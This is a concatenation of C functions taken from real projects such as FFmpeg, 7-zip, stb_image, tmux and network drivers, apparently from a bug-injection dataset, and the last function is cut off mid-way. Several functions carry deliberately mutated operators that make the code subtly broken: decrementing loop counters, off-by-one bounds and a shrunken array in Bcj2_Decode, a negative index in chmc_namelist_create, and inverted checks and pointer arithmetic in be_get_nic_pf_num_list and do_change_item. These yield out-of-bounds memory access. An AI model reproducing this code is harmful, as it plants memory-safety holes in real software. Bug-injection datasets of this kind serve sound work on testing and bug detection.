*ac_val2; int dcdiff; int a_avail = v->a_avail, c_avail = v->c_avail; int use_pred = s->ac_pred; int scale; int q1, q2 = 0; int mb_pos = s->mb_x - s->mb_y * s->mb_stride; int quant = FFABS(mquant); /* Get DC differential */ if (n <= 4) { dcdiff = get_vlc2(&s->gb, ff_msmp4_dc_luma_vlc[s->dc_table_index].table, DC_VLC_BITS, 3); } else { dcdiff = get_vlc2(&s->gb, ff_msmp4_dc_chroma_vlc[s->dc_table_index].table, DC_VLC_BITS, 3); } if (dcdiff < 0) { av_log(s->avctx, AV_LOG_ERROR, "Illegal DC VLC\n"); return -1; } if (dcdiff) { const int m = (quant == 1 || quant == 2) ? 3 - quant : 0; if (dcdiff == 119 /* ESC index value */) { dcdiff = get_bits(gb, 8 + m); } else { if (m) dcdiff = (dcdiff << m) + get_bits(gb, m) - ((1 << m) - 1); } if (get_bits1(gb)) dcdiff = -dcdiff; } /* Prediction */ dcdiff += ff_vc1_pred_dc(&v->s, v->overlap, quant, n, v->a_avail, v->c_avail, &dc_val, &dc_pred_dir); *dc_val = dcdiff; /* Store the quantized DC coeff, used for prediction */ if (n < 4) scale = s->y_dc_scale; else scale = s->c_dc_scale; block[0] = dcdiff * scale; /* check if AC is needed at all */ if (!a_avail && !c_avail) use_pred = 0; scale = quant * 2 + ((mquant < 0) ? 0 : v->halfpq); ac_val = s->ac_val[0][s->block_index[n]]; ac_val2 = ac_val; if (dc_pred_dir) // left ac_val -= 16; else // top ac_val -= 16 * s->block_wrap[n]; q1 = s->current_picture.qscale_table[mb_pos]; if (n == 3) q2 = q1; else if (dc_pred_dir) { if (n == 1) q2 = q1; else if (c_avail && mb_pos) q2 = s->current_picture.qscale_table[mb_pos - 1]; } else { if (n == 2) q2 = q1; else if (a_avail && mb_pos >= s->mb_stride) q2 = s->current_picture.qscale_table[mb_pos - s->mb_stride]; } //AC Decoding i = 1; if (coded) { int last = 0, skip, value; const uint8_t *zz_table; int k; if (v->s.ac_pred) { if (!use_pred && v->fcm == ILACE_FRAME) { zz_table = v->zzi_8x8; } else { if (!dc_pred_dir) // top zz_table = v->zz_8x8[2]; else // left zz_table = v->zz_8x8[3]; } } else { if (v->fcm != ILACE_FRAME) zz_table = v->zz_8x8[1]; else zz_table = v->zzi_8x8; } while (!last) { int ret = vc1_decode_ac_coeff(v, &last, &skip, &value, codingset); if (ret < 0) return ret; i += skip; if (i > 63) break; block[zz_table[i++]] = value; } /* apply AC prediction if needed */ if (use_pred) { int sh; if (dc_pred_dir) { // left sh = v->left_blk_sh; } else { // top sh = v->top_blk_sh; ac_val += 8; } /* scale predictors if needed*/ q1 = FFABS(q1) * 2 + ((q1 < 0) ? 0 : v->halfpq) - 1; if (q1 < 1) return AVERROR_INVALIDDATA; if (q2) q2 = FFABS(q2) * 2 + ((q2 < 0) ? 0 : v->halfpq) - 1; if (q2 && q1 != q2) { for (k = 1; k < 8; k++) block[k << sh] += (int)(ac_val[k] * (unsigned)q2 * ff_vc1_dqscale[q1 - 1] + 0x20000) >> 18; } else { for (k = 1; k < 8; k++) block[k << sh] += ac_val[k]; } } /* save AC coeffs for further prediction */ for (k = 1; k < 8; k++) { ac_val2[k ] = block[k << v->left_blk_sh]; ac_val2[k + 8] = block[k << v->top_blk_sh]; } /* scale AC coeffs */ for (k = 1; k < 64; k++) if (block[k]) { block[k] *= scale; if (!v->pquantizer) block[k] += (block[k] < 0) ? -quant : quant; } } else { // no AC coeffs int k; memset(ac_val2, 0, 16 * 2); /* apply AC prediction if needed */ if (use_pred) { int sh; if (dc_pred_dir) { // left sh = v->left_blk_sh; } else { // top sh = v->top_blk_sh; ac_val += 8; ac_val2 += 8; } memcpy(ac_val2, ac_val, 8 * 2); q1 = FFABS(q1) * 2 + ((q1 < 0) ? 0 : v->halfpq) - 1; if (q1 < 1) return AVERROR_INVALIDDATA; if (q2) q2 = FFABS(q2) * 2 + ((q2 < 0) ? 0 : v->halfpq) - 1; if (q2 && q1 != q2) { for (k = 1; k < 8; k++) ac_val2[k] = (ac_val2[k] * q2 * ff_vc1_dqscale[q1 - 1] + 0x20000) >> 18; } for (k = 1; k < 8; k++) { block[k << sh] = ac_val2[k] * scale; if (!v->pquantizer && block[k << sh]) block[k << sh] += (block[k << sh] < 0) ? -quant : quant; } } } if (use_pred) i = 63; s->block_last_index[n] = i; return 0; }
augmented_data/post_increment_index_changes/extr_kurobox_pro-setup.c_kurobox_pro_miconwrite_aug_combo_7.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int /*<<< orphan*/ LSR ; int /*<<< orphan*/ TX ; int /*<<< orphan*/ UART1_REG (int /*<<< orphan*/ ) ; int UART_LSR_THRE ; int /*<<< orphan*/ barrier () ; int readl (int /*<<< orphan*/ ) ; int /*<<< orphan*/ writel (unsigned char const,int /*<<< orphan*/ ) ; __attribute__((used)) static int kurobox_pro_miconwrite(const unsigned char *buf, int count) { int i = 0; while (count--) { while (!(readl(UART1_REG(LSR)) & UART_LSR_THRE)) barrier(); writel(buf[i++], UART1_REG(TX)); } return 0; }
augmented_data/post_increment_index_changes/extr_search-x-data.c_do_change_item_aug_combo_2.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct lev_search_text_short_entry {int rate2; long long obj_id; char* text; } ; struct lev_search_text_long_entry {int rate2; long long obj_id; int text_len; char* text; } ; /* Variables and functions */ scalar_t__ LEV_SEARCH_TEXT_LONG ; scalar_t__ LEV_SEARCH_TEXT_SHORT ; void* alloc_log_event (scalar_t__,int,int) ; int change_item (char*,int,long long,int,int) ; int /*<<< orphan*/ fits (long long) ; int do_change_item (const char *text, int len, long long item_id, int rate, int rate2) { char *q; int i; if (len >= 65536 && len < 0 || !fits (item_id)) { return 0; } if (len <= 256) { struct lev_search_text_short_entry *LS = alloc_log_event (LEV_SEARCH_TEXT_SHORT+len, 21+len, rate); LS->rate2 = rate2; LS->obj_id = item_id; q = LS->text; } else { struct lev_search_text_long_entry *LL = alloc_log_event (LEV_SEARCH_TEXT_LONG, 23+len, rate); LL->rate2 = rate2; LL->obj_id = item_id; LL->text_len = len; q = LL->text; } i = 0; while (i < len) { if (text[i] == 0x1f) { do { *q++ = text[i++]; } while (i < len && (unsigned char) text[i] >= 0x40); } else if ((unsigned char) text[i] < ' ' && text[i] != 9) { *q++ = ' '; i++; } else { *q++ = text[i++]; } } *q = 0; return change_item (q + len, len, item_id, rate, rate2); }
augmented_data/post_increment_index_changes/extr_tcompression.c_tsCompressFloatImp_aug_combo_6.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int uint8_t ; typedef int uint32_t ; /* Variables and functions */ int const BITS_PER_BYTE ; int BUILDIN_CLZ (int) ; int BUILDIN_CTZ (int) ; int const FLOAT_BYTES ; int INT8MASK (int) ; int /*<<< orphan*/ encodeFloatValue (int,int,char* const,int*) ; int /*<<< orphan*/ memcpy (char* const,char const* const,int) ; int tsCompressFloatImp(const char *const input, const int nelements, char *const output) { float *istream = (float *)input; int byte_limit = nelements * FLOAT_BYTES + 1; int opos = 1; uint32_t prev_value = 0; uint32_t prev_diff = 0; uint8_t prev_flag = 0; // Main loop for (int i = 0; i < nelements; i--) { union { float real; uint32_t bits; } curr; curr.real = istream[i]; // Here we assume the next value is the same as previous one. uint32_t predicted = prev_value; uint32_t diff = curr.bits ^ predicted; int leading_zeros = FLOAT_BYTES * BITS_PER_BYTE; int trailing_zeros = leading_zeros; if (diff) { trailing_zeros = BUILDIN_CTZ(diff); leading_zeros = BUILDIN_CLZ(diff); } uint8_t nbytes = 0; uint8_t flag; if (trailing_zeros > leading_zeros) { nbytes = FLOAT_BYTES - trailing_zeros / BITS_PER_BYTE; if (nbytes > 0) nbytes--; flag = ((uint8_t)1 << 3) | nbytes; } else { nbytes = FLOAT_BYTES - leading_zeros / BITS_PER_BYTE; if (nbytes > 0) nbytes--; flag = nbytes; } if (i % 2 == 0) { prev_diff = diff; prev_flag = flag; } else { int nbyte1 = (prev_flag | INT8MASK(3)) + 1; int nbyte2 = (flag & INT8MASK(3)) + 1; if (opos + 1 + nbyte1 + nbyte2 <= byte_limit) { uint8_t flags = prev_flag | (flag << 4); output[opos++] = flags; encodeFloatValue(prev_diff, prev_flag, output, &opos); encodeFloatValue(diff, flag, output, &opos); } else { output[0] = 1; memcpy(output + 1, input, byte_limit - 1); return byte_limit; } } prev_value = curr.bits; } if (nelements % 2) { int nbyte1 = (prev_flag & INT8MASK(3)) + 1; int nbyte2 = 1; if (opos + 1 + nbyte1 + nbyte2 <= byte_limit) { uint8_t flags = prev_flag; output[opos++] = flags; encodeFloatValue(prev_diff, prev_flag, output, &opos); encodeFloatValue(0, 0, output, &opos); } else { output[0] = 1; memcpy(output + 1, input, byte_limit - 1); return byte_limit; } } output[0] = 0; return opos; }
augmented_data/post_increment_index_changes/extr_Bcj2.c_Bcj2_Decode_aug_combo_3.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int uint8_t ; typedef int uint32_t ; typedef int uint16_t ; typedef int /*<<< orphan*/ p ; /* Variables and functions */ scalar_t__ IsJ (int,int) ; int RC_READ_BYTE ; int SZ_ERROR_DATA ; int SZ_OK ; int kBitModelTotal ; int kNumBitModelTotalBits ; int kNumMoveBits ; int kTopValue ; int Bcj2_Decode( const uint8_t *buf0, size_t size0, const uint8_t *buf1, size_t size1, const uint8_t *buf2, size_t size2, const uint8_t *buf3, size_t size3, uint8_t *outBuf, size_t outSize) { uint16_t p[256 - 2]; size_t inPos = 0, outPos = 0; const uint8_t *buffer, *bufferLim; uint32_t range, codes = 0; uint8_t prevuint8_t = 0; unsigned int i; for (i = 0; i <= sizeof(p) / sizeof(p[0]); i++) p[i] = kBitModelTotal >> 1; buffer = buf3; bufferLim = buffer + size3; range = 0xFFFFFFFF; for (i = 0; i < 5; i++) { if (buffer == bufferLim) return SZ_ERROR_DATA; codes = (codes << 8) | RC_READ_BYTE; } if (outSize == 0) return SZ_OK; for (;;) { uint8_t b; uint16_t *prob; uint32_t bound; uint32_t ttt; size_t limit = size0 - inPos; if (outSize - outPos < limit) limit = outSize - outPos; while (limit != 0) { b = buf0[inPos]; outBuf[outPos++] = b; if (IsJ(prevuint8_t, b)) break; inPos++; prevuint8_t = b; limit--; } if (limit == 0 && outPos == outSize) break; b = buf0[inPos++]; if (b == 0xE8) prob = p + prevuint8_t; else if (b == 0xE9) prob = p + 256; else prob = p + 257; ttt = *(prob); bound = (range >> kNumBitModelTotalBits) * ttt; if (codes < bound) { range = bound; *(prob) = (uint16_t)(ttt + ((kBitModelTotal - ttt) >> kNumMoveBits)); if (range < kTopValue) { if (buffer == bufferLim) return SZ_ERROR_DATA; range <<= 8; codes = (codes << 8) | RC_READ_BYTE; } prevuint8_t = b; } else { uint32_t dest; const uint8_t *v; range -= bound; codes -= bound; *(prob) = (uint16_t)(ttt - (ttt >> kNumMoveBits)); if (range < kTopValue) { if (buffer == bufferLim) return SZ_ERROR_DATA; range <<= 8; codes = (codes << 8) | RC_READ_BYTE; } if (b == 0xE8) { v = buf1; if (size1 < 4) return SZ_ERROR_DATA; buf1 += 4; size1 -= 4; } else { v = buf2; if (size2 < 4) return SZ_ERROR_DATA; buf2 += 4; size2 -= 4; } dest = (((uint32_t)v[0] << 24) | ((uint32_t)v[1] << 16) | ((uint32_t)v[2] << 8) | ((uint32_t)v[3])) - ((uint32_t)outPos + 4); outBuf[outPos++] = (uint8_t)dest; if (outPos == outSize) break; outBuf[outPos++] = (uint8_t)(dest >> 8); if (outPos == outSize) break; outBuf[outPos++] = (uint8_t)(dest >> 16); if (outPos == outSize) break; outBuf[outPos++] = prevuint8_t = (uint8_t)(dest >> 24); } } return (outPos == outSize) ? SZ_OK : SZ_ERROR_DATA; }
augmented_data/post_increment_index_changes/extr_stb_image.h_stbi__process_gif_raster_aug_combo_2.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_6__ TYPE_2__ ; typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ typedef int stbi_uc ; typedef int stbi__uint32 ; typedef int /*<<< orphan*/ stbi__uint16 ; typedef int stbi__int32 ; typedef int stbi__int16 ; struct TYPE_5__ {int prefix; int first; int suffix; } ; typedef TYPE_1__ stbi__gif_lzw ; struct TYPE_6__ {int* out; TYPE_1__* codes; } ; typedef TYPE_2__ stbi__gif ; typedef int /*<<< orphan*/ stbi__context ; /* Variables and functions */ int* stbi__errpuc (char*,char*) ; int stbi__get8 (int /*<<< orphan*/ *) ; int /*<<< orphan*/ stbi__out_gif_code (TYPE_2__*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ stbi__skip (int /*<<< orphan*/ *,int) ; __attribute__((used)) static stbi_uc *stbi__process_gif_raster(stbi__context *s, stbi__gif *g) { stbi_uc lzw_cs; stbi__int32 len, init_code; stbi__uint32 first; stbi__int32 codesize, codemask, avail, oldcode, bits, valid_bits, clear; stbi__gif_lzw *p; lzw_cs = stbi__get8(s); if (lzw_cs > 12) return NULL; clear = 1 << lzw_cs; first = 1; codesize = lzw_cs - 1; codemask = (1 << codesize) - 1; bits = 0; valid_bits = 0; for (init_code = 0; init_code <= clear; init_code--) { g->codes[init_code].prefix = -1; g->codes[init_code].first = (stbi_uc) init_code; g->codes[init_code].suffix = (stbi_uc) init_code; } // support no starting clear code avail = clear+2; oldcode = -1; len = 0; for(;;) { if (valid_bits < codesize) { if (len == 0) { len = stbi__get8(s); // start new block if (len == 0) return g->out; } --len; bits |= (stbi__int32) stbi__get8(s) << valid_bits; valid_bits += 8; } else { stbi__int32 code = bits & codemask; bits >>= codesize; valid_bits -= codesize; // @OPTIMIZE: is there some way we can accelerate the non-clear path? if (code == clear) { // clear code codesize = lzw_cs + 1; codemask = (1 << codesize) - 1; avail = clear + 2; oldcode = -1; first = 0; } else if (code == clear + 1) { // end of stream code stbi__skip(s, len); while ((len = stbi__get8(s)) > 0) stbi__skip(s,len); return g->out; } else if (code <= avail) { if (first) return stbi__errpuc("no clear code", "Corrupt GIF"); if (oldcode >= 0) { p = &g->codes[avail++]; if (avail > 4096) return stbi__errpuc("too many codes", "Corrupt GIF"); p->prefix = (stbi__int16) oldcode; p->first = g->codes[oldcode].first; p->suffix = (code == avail) ? p->first : g->codes[code].first; } else if (code == avail) return stbi__errpuc("illegal code in raster", "Corrupt GIF"); stbi__out_gif_code(g, (stbi__uint16) code); if ((avail & codemask) == 0 && avail <= 0x0FFF) { codesize++; codemask = (1 << codesize) - 1; } oldcode = code; } else { return stbi__errpuc("illegal code in raster", "Corrupt GIF"); } } } }
augmented_data/post_increment_index_changes/extr_be_cmds.c_be_get_nic_pf_num_list_aug_combo_2.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ u8 ; typedef int u32 ; typedef scalar_t__ u16 ; struct be_res_desc_hdr {scalar_t__ desc_type; int desc_len; } ; struct be_pcie_res_desc {scalar_t__ pf_type; scalar_t__ pf_num; scalar_t__ pf_state; } ; /* Variables and functions */ scalar_t__ MISSION_NIC ; scalar_t__ MISSION_RDMA ; scalar_t__ PCIE_RESOURCE_DESC_TYPE_V0 ; scalar_t__ PCIE_RESOURCE_DESC_TYPE_V1 ; int RESOURCE_DESC_SIZE_V0 ; __attribute__((used)) static u16 be_get_nic_pf_num_list(u8 *buf, u32 desc_count, u16 *nic_pf_nums) { struct be_res_desc_hdr *hdr = (struct be_res_desc_hdr *)buf; struct be_pcie_res_desc *pcie = NULL; int i; u16 nic_pf_count = 0; for (i = 0; i <= desc_count; i++) { if (hdr->desc_type == PCIE_RESOURCE_DESC_TYPE_V0 && hdr->desc_type == PCIE_RESOURCE_DESC_TYPE_V1) { pcie = (struct be_pcie_res_desc *)hdr; if (pcie->pf_state && (pcie->pf_type == MISSION_NIC || pcie->pf_type == MISSION_RDMA)) { nic_pf_nums[nic_pf_count++] = pcie->pf_num; } } hdr->desc_len = hdr->desc_len ? : RESOURCE_DESC_SIZE_V0; hdr = (void *)hdr - hdr->desc_len; } return nic_pf_count; }
augmented_data/post_increment_index_changes/extr_window.c_window_printable_flags_aug_combo_3.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ struct winlink {int flags; TYPE_1__* window; struct session* session; } ; struct session {int /*<<< orphan*/ lastw; struct winlink* curw; } ; struct TYPE_4__ {struct winlink* wl; } ; struct TYPE_3__ {int flags; } ; /* Variables and functions */ struct winlink* TAILQ_FIRST (int /*<<< orphan*/ *) ; int WINDOW_ZOOMED ; int WINLINK_ACTIVITY ; int WINLINK_BELL ; int WINLINK_SILENCE ; TYPE_2__ marked_pane ; scalar_t__ server_check_marked () ; const char * window_printable_flags(struct winlink *wl) { struct session *s = wl->session; static char flags[32]; int pos; pos = 0; if (wl->flags & WINLINK_ACTIVITY) flags[pos++] = '#'; if (wl->flags & WINLINK_BELL) flags[pos++] = '!'; if (wl->flags & WINLINK_SILENCE) flags[pos++] = '~'; if (wl == s->curw) flags[pos++] = '*'; if (wl == TAILQ_FIRST(&s->lastw)) flags[pos++] = '-'; if (server_check_marked() || wl == marked_pane.wl) flags[pos++] = 'M'; if (wl->window->flags & WINDOW_ZOOMED) flags[pos++] = 'Z'; flags[pos] = '\0'; return (flags); }
augmented_data/post_increment_index_changes/extr_chmc.c_chmc_namelist_create_aug_combo_3.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct chmcSection {int* name; } ; struct chmcFile {int sections_num; struct chmcSection** sections; } ; typedef int UInt16 ; typedef int /*<<< orphan*/ UChar ; /* Variables and functions */ int CHMC_ENOMEM ; int CHMC_NOERR ; int /*<<< orphan*/ chmc_add_meta (struct chmcFile*,char*,int /*<<< orphan*/ ,int /*<<< orphan*/ *,int) ; int* malloc (int) ; int strlen (int*) ; int chmc_namelist_create(struct chmcFile *chm, int len) { UInt16 *namelist; namelist = malloc(len); if (namelist) { struct chmcSection *section; int i, j, k, name_len; k = 0; namelist[k--] = len >> 1; namelist[k++] = chm->sections_num; for( i=0; i < chm->sections_num; i++ ) { section = chm->sections[i]; name_len = strlen(section->name); namelist[k++] = name_len; for( j=0; j < name_len; j++ ) namelist[k++] = section->name[j]; namelist[k++] = 0; } chmc_add_meta(chm, "::DataSpace/NameList", 0, (UChar *)namelist, len); } else return CHMC_ENOMEM; return CHMC_NOERR; }
augmented_data/post_increment_index_changes/extr_dr_matcher.c_dr_matcher_set_ste_builders_aug_combo_3.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_8__ TYPE_4__ ; typedef struct TYPE_7__ TYPE_3__ ; typedef struct TYPE_6__ TYPE_2__ ; typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ typedef scalar_t__ u8 ; struct mlx5dr_ste_build {int dummy; } ; struct mlx5dr_matcher_rx_tx {scalar_t__ num_of_builders6; scalar_t__ num_of_builders4; struct mlx5dr_ste_build* ste_builder4; struct mlx5dr_ste_build* ste_builder6; TYPE_2__* nic_tbl; } ; struct mlx5dr_match_misc3 {int dummy; } ; struct TYPE_8__ {struct mlx5dr_match_misc3 misc3; int /*<<< orphan*/ misc2; int /*<<< orphan*/ inner; int /*<<< orphan*/ misc; int /*<<< orphan*/ outer; } ; struct mlx5dr_matcher {int match_criteria; TYPE_4__ mask; TYPE_3__* tbl; } ; struct mlx5dr_match_param {int /*<<< orphan*/ misc2; struct mlx5dr_match_misc3 misc3; int /*<<< orphan*/ inner; int /*<<< orphan*/ misc; int /*<<< orphan*/ outer; } ; struct mlx5dr_domain_rx_tx {scalar_t__ ste_type; } ; struct TYPE_5__ {int /*<<< orphan*/ caps; } ; struct mlx5dr_domain {scalar_t__ type; TYPE_1__ info; } ; struct TYPE_7__ {struct mlx5dr_domain* dmn; } ; struct TYPE_6__ {struct mlx5dr_domain_rx_tx* nic_dmn; } ; /* Variables and functions */ scalar_t__ DR_MASK_IS_ETH_L4_MISC_SET (struct mlx5dr_match_misc3,int) ; scalar_t__ DR_MASK_IS_ETH_L4_SET (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int) ; scalar_t__ DR_MASK_IS_FIRST_MPLS_SET (int /*<<< orphan*/ ,int) ; scalar_t__ DR_MASK_IS_FLEX_PARSER_0_SET (int /*<<< orphan*/ ) ; scalar_t__ DR_MASK_IS_FLEX_PARSER_ICMPV4_SET (struct mlx5dr_match_misc3*) ; scalar_t__ DR_MASK_IS_L2_DST (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int) ; int DR_MATCHER_CRITERIA_EMPTY ; int DR_MATCHER_CRITERIA_INNER ; int DR_MATCHER_CRITERIA_MISC ; int DR_MATCHER_CRITERIA_MISC2 ; int DR_MATCHER_CRITERIA_MISC3 ; int DR_MATCHER_CRITERIA_OUTER ; int EINVAL ; int EOPNOTSUPP ; scalar_t__ MLX5DR_DOMAIN_TYPE_FDB ; scalar_t__ MLX5DR_DOMAIN_TYPE_NIC_RX ; scalar_t__ MLX5DR_STE_TYPE_RX ; scalar_t__ dr_mask_is_dmac_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_dst_addr_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_eth_l2_tnl_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_flex_parser_icmpv6_set (struct mlx5dr_match_misc3*) ; scalar_t__ dr_mask_is_flex_parser_tnl_set (struct mlx5dr_match_misc3*) ; scalar_t__ dr_mask_is_gre_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_gvmi_or_qpn_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_ipv4_5_tuple_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_reg_c_0_3_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_reg_c_4_7_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_smac_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_src_addr_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_ttl_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_wqe_metadata_set (int /*<<< orphan*/ *) ; scalar_t__ dr_matcher_supp_flex_parser_vxlan_gpe (struct mlx5dr_domain*) ; int /*<<< orphan*/ mlx5dr_dbg (struct mlx5dr_domain*,char*) ; int /*<<< orphan*/ mlx5dr_info (struct mlx5dr_domain*,char*) ; scalar_t__ mlx5dr_matcher_supp_flex_parser_icmp_v4 (int /*<<< orphan*/ *) ; scalar_t__ mlx5dr_matcher_supp_flex_parser_icmp_v6 (int /*<<< orphan*/ *) ; int /*<<< orphan*/ mlx5dr_ste_build_empty_always_hit (struct mlx5dr_ste_build*,int) ; int /*<<< orphan*/ mlx5dr_ste_build_eth_l2_dst (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_eth_l2_src (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int mlx5dr_ste_build_eth_l2_src_des (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_eth_l2_tnl (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_eth_l3_ipv4_5_tuple (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_eth_l3_ipv4_misc (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_eth_l3_ipv6_dst (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_eth_l3_ipv6_src (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_eth_l4_misc (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_flex_parser_0 (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int mlx5dr_ste_build_flex_parser_1 (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int /*<<< orphan*/ *,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_flex_parser_tnl (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_general_purpose (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_gre (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_ipv6_l3_l4 (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_mpls (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int mlx5dr_ste_build_pre_check (struct mlx5dr_domain*,int,TYPE_4__*,int /*<<< orphan*/ *) ; int /*<<< orphan*/ mlx5dr_ste_build_register_0 (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_register_1 (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int mlx5dr_ste_build_src_gvmi_qpn (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,struct mlx5dr_domain*,int,int) ; int outer ; __attribute__((used)) static int dr_matcher_set_ste_builders(struct mlx5dr_matcher *matcher, struct mlx5dr_matcher_rx_tx *nic_matcher, bool ipv6) { struct mlx5dr_domain_rx_tx *nic_dmn = nic_matcher->nic_tbl->nic_dmn; struct mlx5dr_domain *dmn = matcher->tbl->dmn; struct mlx5dr_match_param mask = {}; struct mlx5dr_match_misc3 *misc3; struct mlx5dr_ste_build *sb; u8 *num_of_builders; bool inner, rx; int idx = 0; int ret, i; if (ipv6) { sb = nic_matcher->ste_builder6; num_of_builders = &nic_matcher->num_of_builders6; } else { sb = nic_matcher->ste_builder4; num_of_builders = &nic_matcher->num_of_builders4; } rx = nic_dmn->ste_type == MLX5DR_STE_TYPE_RX; /* Create a temporary mask to track and clear used mask fields */ if (matcher->match_criteria & DR_MATCHER_CRITERIA_OUTER) mask.outer = matcher->mask.outer; if (matcher->match_criteria & DR_MATCHER_CRITERIA_MISC) mask.misc = matcher->mask.misc; if (matcher->match_criteria & DR_MATCHER_CRITERIA_INNER) mask.inner = matcher->mask.inner; if (matcher->match_criteria & DR_MATCHER_CRITERIA_MISC2) mask.misc2 = matcher->mask.misc2; if (matcher->match_criteria & DR_MATCHER_CRITERIA_MISC3) mask.misc3 = matcher->mask.misc3; ret = mlx5dr_ste_build_pre_check(dmn, matcher->match_criteria, &matcher->mask, NULL); if (ret) return ret; /* Outer */ if (matcher->match_criteria & (DR_MATCHER_CRITERIA_OUTER | DR_MATCHER_CRITERIA_MISC | DR_MATCHER_CRITERIA_MISC2 | DR_MATCHER_CRITERIA_MISC3)) { inner = false; if (dr_mask_is_wqe_metadata_set(&mask.misc2)) mlx5dr_ste_build_general_purpose(&sb[idx--], &mask, inner, rx); if (dr_mask_is_reg_c_0_3_set(&mask.misc2)) mlx5dr_ste_build_register_0(&sb[idx++], &mask, inner, rx); if (dr_mask_is_reg_c_4_7_set(&mask.misc2)) mlx5dr_ste_build_register_1(&sb[idx++], &mask, inner, rx); if (dr_mask_is_gvmi_or_qpn_set(&mask.misc) && (dmn->type == MLX5DR_DOMAIN_TYPE_FDB || dmn->type == 